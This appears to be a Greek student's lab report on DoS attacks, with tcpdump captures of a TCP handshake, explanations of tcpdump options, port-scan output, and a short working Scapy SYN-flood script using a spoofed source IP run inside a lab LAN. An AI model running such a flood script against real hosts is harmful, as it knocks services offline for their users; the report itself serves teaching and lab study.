

Σύγχρονες Εφαρμογές Ασφάλειας

Μπουρλάκης Γεώργιος

1054321

Επιθέσεις DDOS-DOS

1) Επίδειξη μηχανισμού 3-WAY HANDSHAKE με χρήση tcpdump

- Σύνδεση από windows στο Debian VM:

```
C:\Users\giorg>ssh root@192.168.1.119
The authenticity of host '192.168.1.119 (192.168.1.119)' can't be established
ECDSA key fingerprint is SHA256:Jt0an6Wk7/a+s+R0EjQVh4907B/k/S1jv3WxeXmplOI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.119' (ECDSA) to the list of known hosts
root@192.168.1.119's password:
Linux debian 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Nov  8 16:07:30 2020 from 10.0.2.6
root@debian:~#
root@debian:~#
```

- Εκτέλεση εντολής:

tcpdump -vnn -nn -l eth0 -s 1500 -S -X -c 5 src net 192.168.1.84 and dst net 192.168.1.119 and port 22

```
root@kali:~# tcpdump -vnn -nn -l eth0 -s 1500 -S -X -c 5 src net 192.168.1.84 or dst net 192.168.1.119 and port 22
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1500 bytes
10:00:49.064064 IP (tos 0x0, ttl 128, id 12129, offset 0, flags [DF], proto TCP (6), length 52)
  192.168.1.84.63885 > 192.168.1.119.22: Flags [S], cksum 0xc22c (correct), seq 190654678, win 64240, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0
    0x0000: 4500 0034 2f61 4000 8006 4747 c0a8 0154  E..4/a...GG...T
    0x0010: c0a8 0177 f98d 0016 0b5d 28d6 0000 0000  ...w.....](....
    0x0020: 8002 faf0 c22c 0000 0204 05b4 0103 0308  .....P.....
    0x0030: 0101 0402  ....
10:00:49.064301 IP (tos 0x0, ttl 128, id 12130, offset 0, flags [DF], proto TCP (6), length 40)
  192.168.1.84.63885 > 192.168.1.119.22: Flags [S], cksum 0xa194 (correct), seq 190654679, ack 2413673572, win 4106, length 0
    0x0000: 4500 0028 2f62 4000 8006 4752 c0a8 0154  E..(/b@...GR...T
    0x0010: c0a8 0177 f98d 0016 0b5d 28d7 8fdd bc64  ...w.....](....d
    0x0020: 5010 100a a194 0000 0000 0000 0000  P.....
10:00:49.066716 IP (tos 0x0, ttl 128, id 12131, offset 0, flags [DF], proto TCP (6), length 73)
  192.168.1.84.63885 > 192.168.1.119.22: Flags [P.], cksum 0x594f (correct), seq 190654712, ack 2413673572, win 4106, length 33
    0x0000: 4500 0049 2f63 4000 8006 4730 c0a8 0154  E..I/c@...G0...T
    0x0010: c0a8 0177 f98d 0016 0b5d 28d7 8fdd bc64  ...w.....](....d
    0x0020: 5018 100a 594f 0000 5353 482d 322e 302d  P...Y0..SSH-2.0-
    0x0030: 4f70 656e 5353 485f 666f 725f 5769 6e64  OpenSSH_for_Wind
    0x0040: 6f77 735f 372e 370d 0a  ows_7.7..
10:00:49.071813 IP (tos 0x0, ttl 128, id 12132, offset 0, flags [DF], proto TCP (6), length 40)
  192.168.1.84.63885 > 192.168.1.119.22: Flags [S], cksum 0xa14a (correct), seq 190654712, ack 2413673613, win 4106, length 0
    0x0000: 4500 0028 2f64 4000 8006 4750 c0a8 0154  E..(/d@...GP...T
    0x0010: c0a8 0177 f98d 0016 0b5d 28f8 8fdd bc8d  ...w.....](....
    0x0020: 5010 100a a14a 0000 0000 0000 0000  P...J.....
10:00:49.073169 IP (tos 0x0, ttl 128, id 12133, offset 0, flags [DF], proto TCP (6), length 40)
  192.168.1.84.63885 > 192.168.1.119.22: Flags [S], cksum 0x9d17 (correct), seq 190654712, ack 2413674693, win 4101, length 0
    0x0000: 4500 0028 2f65 4000 8006 474f c0a8 0154  E..(/e@...G0...T
    0x0010: c0a8 0177 f98d 0016 0b5d 28f8 8fdd c0c5  ...w.....](....
    0x0020: 5010 1005 9d17 0000 0000 0000 0000  P.....
5 packets captured
5 packets received by filter
0 packets dropped by kernel
root@kali:~#
```

- Τα πακέτα φαίνονται στην παραπάνω φωτογραφία με κάποια ενδεικτικά να είναι τα sequence numbers: 190654678 και 190654712 και τα acknowledgment numbers: 2413673572 που γίνεται στη συνέχεια 2413673613

2) Εντολές

- `tcpdump -v -n host 192.168.1.105`

Με την παράμετρο `-v` παράγεται λίγο πιο εκτεταμένη έξοδος δηλαδή TTL, identification, total length και επιλογές για το IP πακέτο. Με την παράμετρο `-n` δεν μετατρέπονται διευθύνσεις όπως του host σε ονόματα.

```
root@kali:~# tcpdump -v -n host 192.168.1.105
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
10:52:05.950205 IP (tos 0x0, ttl 64, id 20484, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 961, length 64
10:52:06.974254 IP (tos 0x0, ttl 64, id 20613, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 962, length 64
10:52:07.998076 IP (tos 0x0, ttl 64, id 20655, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 963, length 64
10:52:09.022047 IP (tos 0x0, ttl 64, id 20679, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 964, length 64
10:52:10.046259 IP (tos 0x0, ttl 64, id 20689, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 965, length 64
10:52:11.070154 IP (tos 0x0, ttl 64, id 20918, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 966, length 64
10:52:12.093617 IP (tos 0x0, ttl 64, id 20999, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 967, length 64
10:52:13.117885 IP (tos 0x0, ttl 64, id 21037, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 968, length 64
10:52:14.141870 IP (tos 0x0, ttl 64, id 21225, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 969, length 64
10:52:15.165625 IP (tos 0x0, ttl 64, id 21237, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 970, length 64
10:52:16.189995 IP (tos 0x0, ttl 64, id 21412, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 971, length 64
10:52:17.213908 IP (tos 0x0, ttl 64, id 21430, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 972, length 64
10:52:18.238068 IP (tos 0x0, ttl 64, id 21489, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 973, length 64
10:52:19.262314 IP (tos 0x0, ttl 64, id 21648, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 974, length 64
10:52:20.285915 IP (tos 0x0, ttl 64, id 21902, offset 0, flags [DF], proto ICMP (1), length 84)
    192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 975, length 64
^C
15 packets captured
15 packets received by filter
0 packets dropped by kernel
root@kali:~#
```


Με την παράμετρο -nn παράγεται αρκετά εκτεταμένη έξοδος, όπως οι επιλογές SB και SE του telnet. Με την παράμετρο -nh μπλοκάρεται η μετατροπή host διευθύνσεων και port αριθμών σε ονόματα. Με την παράμετρο -i ακολουθεί ένα interface που θα κάνουμε listen. Το 1514 αναφέρεται στο μέγεθος σε bytes που γίνεται capture. Η παράμετρος -S εμφανίζει απόλυτους τους sequence αριθμούς. Η παράμετρος -X εμφανίζει τις επιλογές του telnet σε δεκαεξαδική μορφή. Η παράμετρος -c αναφέρεται στον αριθμό των πακέτων που μετρούνται μέχρι την έξοδο(εδώ 5).

```
root@kali:~# tcpdump -vvv -nn -i eth0 -s 1514 host 192.168.1.105 -S -X -c 5
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
10:58:40.190055 IP (tos 0x0, ttl 64, id 2564, offset 0, flags [DF], proto ICMP (1), length 84)
  192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 1346, length 64
    0x0000: 4500 0054 0a04 4000 4001 ac74 c0a8 0177  E..T..@..t...w
    0x0010: c0a8 0169 0800 5966 0634 0542 b015 a85f  ...i..Yf.4.B..._
    0x0020: 0000 0000 79db 0200 0000 0000 1011 1213  ....Y.....
    0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .....!"#
    0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
    0x0050: 3435 3637 4567
10:58:41.213822 IP (tos 0x0, ttl 64, id 2712, offset 0, flags [DF], proto ICMP (1), length 84)
  192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 1347, length 64
    0x0000: 4500 0054 0a98 4000 4001 abe0 c0a8 0177  E..T..@.....w
    0x0010: c0a8 0169 0800 8708 0634 0543 b115 a85f  ...i.....4.C..._
    0x0020: 0000 0000 4a38 0300 0000 0000 1011 1213  ....J8.....
    0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .....!"#
    0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
    0x0050: 3435 3637 4567
10:58:42.238493 IP (tos 0x0, ttl 64, id 2727, offset 0, flags [DF], proto ICMP (1), length 84)
  192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 1348, length 64
    0x0000: 4500 0054 0aa7 4000 4001 abd1 c0a8 0177  E..T..@.....w
    0x0010: c0a8 0169 0800 f9a6 0634 0544 b215 a85f  ...i.....4.D..._
    0x0020: 0000 0000 d698 0300 0000 0000 1011 1213  .....
    0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .....!"#
    0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
    0x0050: 3435 3637 4567
10:58:43.262489 IP (tos 0x0, ttl 64, id 2761, offset 0, flags [DF], proto ICMP (1), length 84)
  192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 1349, length 64
    0x0000: 4500 0054 0ac9 4000 4001 abaf c0a8 0177  E..T..@.....w
    0x0010: c0a8 0169 0800 2548 0634 0545 b315 a85f  ...i..%H.4.E..._
    0x0020: 0000 0000 a9f6 0300 0000 0000 1011 1213  .....
    0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .....!"#
    0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
    0x0050: 3435 3637 4567
10:58:44.285982 IP (tos 0x0, ttl 64, id 2890, offset 0, flags [DF], proto ICMP (1), length 84)
  192.168.1.119 > 192.168.1.105: ICMP echo request, id 1588, seq 1350, length 64
    0x0000: 4500 0054 0b4a 4000 4001 ab2e c0a8 0177  E..T.J@.....w
    0x0010: c0a8 0169 0800 baeb 0634 0546 b415 a85f  ...i.....4.F..._
    0x0020: 0000 0000 1252 0400 0000 0000 1011 1213  .....R.....
    0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .....!"#
    0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
    0x0050: 3435 3637 4567
5 packets captured
5 packets received by filter
0 packets dropped by kernel
```

- `tcpdump -vnn -nn -i wlan0 -s 1514 host 192.168.1.105 -S -X -c 5`
Αυτή η εντολή κάνει ακριβώς τα ίδια με την προηγούμενη αλλά κάνει listen διαφορετικό interface(εδώ το wlan0)
- `tcpdump -nvvnnXSs 1514 host 192.168.1.105 and dst port 22`
Γίνεται listen με ακριβώς ίδιες παραμέτρους με το προηγούμενο παράδειγμα αλλά η διαφορά είναι ότι το listen γίνεται μόνο για το port 22.

```
root@kali:~# tcpdump -nvvnnXSs 1514 host 192.168.1.105 and dst port 22
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
11:18:23.411309 IP (tos 0x0, ttl 64, id 52752, offset 0, flags [DF], proto TCP (6), length 60)
  192.168.1.119.53004 > 192.168.1.105.22: Flags [S], cksum 0x9ac2 (correct), seq 3521684008, win 64240, options [mss 1460,sackOK,TS val 1511100630 ecr 0,nop,wscale 7], length 0
  0x0000: 4500 003c ce10 4000 4006 e87a c0a8 0177  E...@.0..Z...W
  0x0010: c0a8 0169 cf0c 0016 d1e8 a228 0000 0000  ...i.....(....
  0x0020: a002 faf0 9ac2 0000 0204 05b4 0402 080a  ....7.....
  0x0030: 5a11 90c6 0000 0000 0103 0307  Z.....
  11:18:24.414604 IP (tos 0x0, ttl 64, id 52753, offset 0, flags [DF], proto TCP (6), length 60)
  192.168.1.119.53004 > 192.168.1.105.22: Flags [S], cksum 0x96d7 (correct), seq 3521684008, win 64240, options [mss 1460,sackOK,TS val 1511101633 ecr 0,nop,wscale 7], length 0
  0x0000: 4500 003c ce10 4000 4006 e879 c0a8 0177  E...@.0..Y...W
  0x0010: c0a8 0169 cf0c 0016 d1e8 a228 0000 0000  ...i.....(....
  0x0020: a002 faf0 96d7 0000 0204 05b4 0402 080a  ....7.....
  0x0030: 5a11 94c1 0000 0000 0103 0307  Z.....
  11:18:26.431486 IP (tos 0x0, ttl 64, id 52754, offset 0, flags [DF], proto TCP (6), length 60)
  192.168.1.119.53004 > 192.168.1.105.22: Flags [S], cksum 0x8ef7 (correct), seq 3521684008, win 64240, options [mss 1460,sackOK,TS val 1511103649 ecr 0,nop,wscale 7], length 0
  0x0000: 4500 003c ce12 4000 4006 e878 c0a8 0177  E...@.0..X...W
  0x0010: c0a8 0169 cf0c 0016 d1e8 a228 0000 0000  ...i.....(....
  0x0020: a002 faf0 8ef7 0000 0204 05b4 0402 080a  ....7.....
  0x0030: 5a11 9ca1 0000 0000 0103 0307  Z.....
  11:18:30.463310 IP (tos 0x0, ttl 64, id 52755, offset 0, flags [DF], proto TCP (6), length 60)
  192.168.1.119.53004 > 192.168.1.105.22: Flags [S], cksum 0x7f37 (correct), seq 3521684008, win 64240, options [mss 1460,sackOK,TS val 1511107681 ecr 0,nop,wscale 7], length 0
  0x0000: 4500 003c ce13 4000 4006 e877 c0a8 0177  E...@.0..W...W
  0x0010: c0a8 0169 cf0c 0016 d1e8 a228 0000 0000  ...i.....(....
  0x0020: a002 faf0 7f37 0000 0204 05b4 0402 080a  ....7.....
  0x0030: 5a11 acc1 0000 0000 0103 0307  Z..a.....
  11:18:38.654589 IP (tos 0x0, ttl 64, id 52756, offset 0, flags [DF], proto TCP (6), length 60)
  192.168.1.119.53004 > 192.168.1.105.22: Flags [S], cksum 0x5f37 (correct), seq 3521684008, win 64240, options [mss 1460,sackOK,TS val 1511115873 ecr 0,nop,wscale 7], length 0
  0x0000: 4500 003c ce14 4000 4006 e876 c0a8 0177  E...@.0..V...W
  0x0010: c0a8 0169 cf0c 0016 d1e8 a228 0000 0000  ...i.....(....
  0x0020: a002 faf0 5f37 0000 0204 05b4 0402 080a  ....7.....
  0x0030: 5a11 cc61 0000 0000 0103 0307  Z..a.....
~C
5 packets captured
5 packets received by filter
0 packets dropped by kernel
root@kali:~#
```

- `tcpdump -vnn -nn -i eth0 -s 1514 -S -X -c 5 src 192.168.1.102 or dst 192.168.1.102 and port 22`
Γίνεται listen για το host 192.168.1.102 είτε αυτό ανοίξει μία ssh σύνδεση είτε κάποιος άλλος κάνει ssh σε αυτόν στο port 22.

- `tcpdump -vvv -nn -i eth0 -s 1514 -S -X -c 5 src or dst [REDACTED]`
Κάνει listen για TCP πακέτα που προέρχονται ή κατευθύνονται σε αυτή την IP: [REDACTED] (στο interface eth0)

```
root@kali:~# tcpdump -vvv -nn -i eth0 -s 1514 -S -X -c 5 src or dst [REDACTED]
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
11:26:17.425226 IP (tos 0x0, ttl 64, id 63091, offset 0, flags [DF], proto ICMP (1), length 84)
  192.168.1.119 > [REDACTED]: ICMP echo request, id 1877, seq 1, length 64
    0x0000: 4500 0034 1877 4000 4001 f41e c0a8 0177 E..T.s@.....w
    0x0010: 4762 4695 0800 37ec 0755 0001 291c a85f GbF...7..U..)_..
    0x0020: 0000 0000 226f 0600 0000 0000 1011 1213 .....o.....
    0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 .....!""#
    0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+,-./0123
    0x0050: 3435 3637                                     4567
11:26:18.431993 IP (tos 0x0, ttl 64, id 63332, offset 0, flags [DF], proto ICMP (1), length 84)
  192.168.1.119 > [REDACTED]: ICMP echo request, id 1877, seq 2, length 64
    0x0000: 4500 0034 1764 4000 4001 f32d c0a8 0177 E..T.d@.....w
    0x0010: 4762 4695 0800 48d3 0755 0002 2a1c a85f GbF...H..U..*...
    0x0020: 0000 0000 1087 0600 0000 0000 1011 1213 .....
    0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 .....!""#
    0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+,-./0123
    0x0050: 3435 3637                                     4567
11:26:19.456165 IP (tos 0x0, ttl 64, id 63587, offset 0, flags [DF], proto ICMP (1), length 84)
  192.168.1.119 > [REDACTED]: ICMP echo request, id 1877, seq 3, length 64
    0x0000: 4500 0034 1863 4000 4001 f22e c0a8 0177 E..T.c@.....w
    0x0010: 4762 4695 0800 c172 0755 0003 2b1c a85f GbF....r.U..+...
    0x0020: 0000 0000 96e6 0600 0000 0000 1011 1213 .....
    0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 .....!""#
    0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+,-./0123
    0x0050: 3435 3637                                     4567
11:26:20.478775 IP (tos 0x0, ttl 64, id 63699, offset 0, flags [DF], proto ICMP (1), length 84)
  192.168.1.119 > [REDACTED]: ICMP echo request, id 1877, seq 4, length 64
    0x0000: 4500 0034 18d3 4000 4001 f1be c0a8 0177 E..T..@.....w
    0x0010: 4762 4695 0800 0f19 0755 0004 2c1c a85f GbF.....U.....
    0x0020: 0000 0000 473f 0700 0000 0000 1011 1213 .....G?.....
    0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 .....!""#
    0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+,-./0123
    0x0050: 3435 3637                                     4567
11:26:21.503159 IP (tos 0x0, ttl 64, id 63755, offset 0, flags [DF], proto ICMP (1), length 84)
  192.168.1.119 > [REDACTED]: ICMP echo request, id 1877, seq 5, length 64
    0x0000: 4500 0034 190b 4000 4001 f186 c0a8 0177 E..T..@.....w
    0x0010: 4762 4695 0800 cab9 0755 0005 2d1c a85f GbF.....U.....
    0x0020: 0000 0000 8a9d 0700 0000 0000 1011 1213 .....
    0x0030: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 .....!""#
    0x0040: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+,-./0123
    0x0050: 3435 3637                                     4567
5 packets captured
5 packets received by filter
0 packets dropped by kernel
```

- `tcpdump -vvv -nn -i wlan0 -s 1514 -S -X -c 5 src 192.168.1.102 or dst 192.168.1.102 and port 22`
Κάνει listen για TCP πακέτα που προέρχονται ή κατευθύνονται σε αυτή την IP: [REDACTED] (στο interface wlan0) στο port 22.

- `tcpdump udp -i eth0`

Γίνεται listen για UDP πακέτα στο interface eth0.

```
root@kali:~# tcpdump udp -i eth0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
11:32:35.769677 IP 192.168.1.84.54492 > 239.255.255.250.1900: UDP, length 174
11:32:35.771504 IP kali.59637 > _gateway.domain: 5938+ PTR? 250.255.255.239.in-addr.arpa. (46)
11:32:36.770769 IP 192.168.1.84.54492 > 239.255.255.250.1900: UDP, length 174
11:32:37.771020 IP 192.168.1.84.54492 > 239.255.255.250.1900: UDP, length 174
11:32:38.771957 IP 192.168.1.84.54492 > 239.255.255.250.1900: UDP, length 174
11:32:40.776986 IP kali.59637 > _gateway.domain: 5938+ PTR? 250.255.255.239.in-addr.arpa. (46)
11:32:45.788366 IP kali.42798 > _gateway.domain: 13736+ PTR? 84.1.168.192.in-addr.arpa. (43)
11:32:45.795108 IP _gateway.domain > kali.42798: 13736 ServFail- 0/0/0 (43)
11:32:45.795454 IP kali.34883 > _gateway.domain: 13736+ PTR? 84.1.168.192.in-addr.arpa. (43)
11:32:45.799646 IP _gateway.domain > kali.34883: 13736 ServFail- 0/0/0 (43)
11:32:45.800566 IP kali.45981 > _gateway.domain: 20658+ PTR? 1.1.168.192.in-addr.arpa. (42)
11:32:45.808042 IP _gateway.domain > kali.45981: 20658 ServFail- 0/0/0 (42)
11:32:45.808454 IP kali.36298 > _gateway.domain: 20658+ PTR? 1.1.168.192.in-addr.arpa. (42)
11:32:45.812519 IP _gateway.domain > kali.36298: 20658 ServFail- 0/0/0 (42)
11:32:45.813285 IP kali.33291 > _gateway.domain: 49562+ PTR? 118.1.168.192.in-addr.arpa. (44)
11:32:45.819884 IP _gateway.domain > kali.33291: 49562 ServFail- 0/0/0 (44)
11:32:45.820192 IP kali.54120 > _gateway.domain: 49562+ PTR? 118.1.168.192.in-addr.arpa. (44)
11:32:45.825463 IP _gateway.domain > kali.54120: 49562 ServFail- 0/0/0 (44)
11:33:07.699573 IP 192.168.1.84.55071 > _gateway.domain: 17333+ A? ssl.gstatic.com. (33)
11:33:07.704693 IP _gateway.domain > 192.168.1.84.55071: 17333 1/0/0 A 172.217.22.67 (53)
11:33:07.705445 IP 192.168.1.84.55072 > fra15s17-in-f67.1e100.net.443: UDP, length 1350
11:33:07.705603 IP kali.39331 > _gateway.domain: 57686+ PTR? 67.22.217.172.in-addr.arpa. (44)
11:33:07.730220 IP _gateway.domain > kali.39331: 57686 2/0/0 PTR fra15s17-in-f67.1e100.net., PTR fra15s17-in-f3.1e100.net. (112)
11:33:07.766090 IP fra15s17-in-f67.1e100.net.443 > 192.168.1.84.55072: UDP, length 1350
11:33:07.773469 IP fra15s17-in-f67.1e100.net.443 > 192.168.1.84.55072: UDP, length 1350
11:33:07.773499 IP fra15s17-in-f67.1e100.net.443 > 192.168.1.84.55072: UDP, length 235
11:33:07.773502 IP fra15s17-in-f67.1e100.net.443 > 192.168.1.84.55072: UDP, length 64
11:33:07.774443 IP 192.168.1.84.55072 > fra15s17-in-f67.1e100.net.443: UDP, length 149
11:33:07.774693 IP 192.168.1.84.55072 > fra15s17-in-f67.1e100.net.443: UDP, length 437
11:33:07.825300 IP fra15s17-in-f67.1e100.net.443 > 192.168.1.84.55072: UDP, length 612
11:33:07.825314 IP fra15s17-in-f67.1e100.net.443 > 192.168.1.84.55072: UDP, length 25
11:33:07.825628 IP 192.168.1.84.55072 > fra15s17-in-f67.1e100.net.443: UDP, length 33
11:33:07.833571 IP fra15s17-in-f67.1e100.net.443 > 192.168.1.84.55072: UDP, length 27
11:33:07.841953 IP fra15s17-in-f67.1e100.net.443 > 192.168.1.84.55072: UDP, length 410
11:33:07.842357 IP 192.168.1.84.55072 > fra15s17-in-f67.1e100.net.443: UDP, length 35
11:33:07.843068 IP fra15s17-in-f67.1e100.net.443 > 192.168.1.84.55072: UDP, length 25
11:33:07.868516 IP 192.168.1.84.55072 > fra15s17-in-f67.1e100.net.443: UDP, length 33
11:33:07.914809 IP fra15s17-in-f67.1e100.net.443 > 192.168.1.84.55072: UDP, length 25
```

- `tcpdump udp -i any -c 10`

Γίνεται listen για UDP πακέτα σε οποιοδήποτε interface για τα πρώτα 10 πακέτα.

3) Επίδειξη κακόβουλης επίθεσης DoS μέσω IP ADDRESS SPOOFING και SYN FLOODING με IP διευθύνσεις που ανήκουν στο ίδιο LAN

1. Με την εντολή: `python port_scan.py 192.168.1.119 22 443` βλέπουμε ότι είναι ανοικτές οι πόρτες 22 και 80.

```
root@kali:~/Desktop# python port_scan.py 192.168.1.119 22 443
22.....80.....
.....
.....

The open ports:

22:    ssh 22/tcp # SSH Remote Login Protocol
80:    http 80/tcp www # WorldWideWeb HTTP
root@kali:~/Desktop#
root@kali:~/Desktop#
```

2. Με την εντολή: `python syn_flood.py` (αριστερό παράθυρο επόμενης φωτογραφίας) με spoofed IP επιτιθέμενου: 192.168.1.90 αντί για 192.168.1.118 όπως φαίνεται στο παρακάτω script

```
from scapy.all import *

def tcp_syn(ip_address1, ip_address2, sport, dport):
    s_addr = ip_address2
    d_addr = ip_address1

    packet = IP(src=s_addr, dst=d_addr)/TCP(sport=sport, dport=dport, seq=1505066, flags="S")
    send(packet)

while True:
    tcp_syn("192.168.1.20", "192.168.1.90", 22, 22)
```

και τις εντολές:

`sudo tcpdump -vnn -i eth0 -s 1500 -S -X dst 192.158.1.20` (πάνω δεξιά)

`sudo tcpdump -vnn -i eth0 -s 1500 -S -X src 192.158.1.90` (κάτω δεξιά)

Η εντολή στέλνει απεριόριστα πακέτα μέχρι χειροκίνητο σταμάτημα στην πόρτα 22 της IP: 192.168.1.20 από την IP: 192.168.1.90

Τα πακέτα πέρασαν κανονικά στο Debian VM από το kali, επειδή η κίνηση προέρχεται από το LAN οπότε δεν μπλοκάρεται.


```
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
Sent 1 packets.  
  
C:\Traceback (most recent call last):  
File "syn_flood.py", line 11, in <module>  
tcp_syn("192.168.1.20", "192.168.1.90", 22, 22)  
File "syn_flood.py", line 8, in tcp_syn  
send(packet)
```

KeyboardInterrupt

root@kali:~/Desktop# █

```

192.168.1.90.22 > 192.168.1.20.22: Flags [S], cksum 0x14b7 (correct), seq 1505066, win 819
2, length 0
0x0000: 4500 0028 0001 0000 4006 f710 c0a8 015a E..(...0.....Z
0x0010: c0a8 0114 0016 0016 0016 f72a 0000 0000 .....
0x0020: 5002 2000 14b7 0000 P.....
12:14:13.675463 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
192.168.1.90.22 > 192.168.1.20.22: Flags [S], cksum 0x14b7 (correct), seq 1505066, win 819
2, length 0
0x0000: 4500 0028 0001 0000 4006 f710 c0a8 015a E..(...0.....Z
0x0010: c0a8 0114 0016 0016 0016 f72a 0000 0000 .....
0x0020: 5002 2000 14b7 0000 P.....
12:14:13.732825 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
192.168.1.90.22 > 192.168.1.20.22: Flags [S], cksum 0x14b7 (correct), seq 1505066, win 819
2, length 0
0x0000: 4500 0028 0001 0000 4006 f710 c0a8 015a E..(...0.....Z
0x0010: c0a8 0114 0016 0016 0016 f72a 0000 0000 .....
0x0020: 5002 2000 14b7 0000 P.....
rc
2351 packets captured
2351 packets received by filter
0 packets dropped by kernel
root@kali:~/Desktop# []

root@kali:~/Desktop 94x22

192.168.1.90.22 > 192.168.1.20.22: Flags [S], cksum 0x14b7 (correct), seq 1505066, win 819
2, length 0
0x0000: 4500 0028 0001 0000 4006 f710 c0a8 015a E..(...0.....Z
0x0010: c0a8 0114 0016 0016 0016 f72a 0000 0000 .....
0x0020: 5002 2000 14b7 0000 P.....
12:14:13.675453 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
192.168.1.90.22 > 192.168.1.20.22: Flags [S], cksum 0x14b7 (correct), seq 1505066, win 819
2, length 0
0x0000: 4500 0028 0001 0000 4006 f710 c0a8 015a E..(...0.....Z
0x0010: c0a8 0114 0016 0016 0016 f72a 0000 0000 .....
0x0020: 5002 2000 14b7 0000 P.....
12:14:13.723795 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
192.168.1.90.22 > 192.168.1.20.22: Flags [S], cksum 0x14b7 (correct), seq 1505066, win 819
2, length 0
0x0000: 4500 0028 0001 0000 4006 f710 c0a8 015a E..(...0.....Z
0x0010: c0a8 0114 0016 0016 0016 f72a 0000 0000 .....
0x0020: 5002 2000 14b7 0000 P.....
rc
2349 packets captured
2349 packets received by filter
0 packets dropped by kernel
root@kali:~/Desktop#

```

```
File Edit View Terminal Tabs Help
root@debian:/home/george# systemctl start fail2ban; systemctl status fail2ban -l
● fail2ban.service - Fail2Ban Service
   Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2020-11-20 17:33:28 EET; 1h 27min ago
     Doc: man:fail2ban(1)
 Process: 1736 ExecStartPre=bin/mkdir -p /var/run/fail2ban (code=exited, status=0/SUCCESS)
 Main PID: 1737 (fail2ban-server)
    Tasks: 3 (limit: 4689)
   Memory: 15.7M
 Group: /system.slice/fail2ban.service
       └─1737 /usr/bin/python3 /usr/bin/fail2ban-server -xf start

Nov 20 17:33:28 debian fail2ban-server[1737]: Found no accessible config files for 'filter.d/send
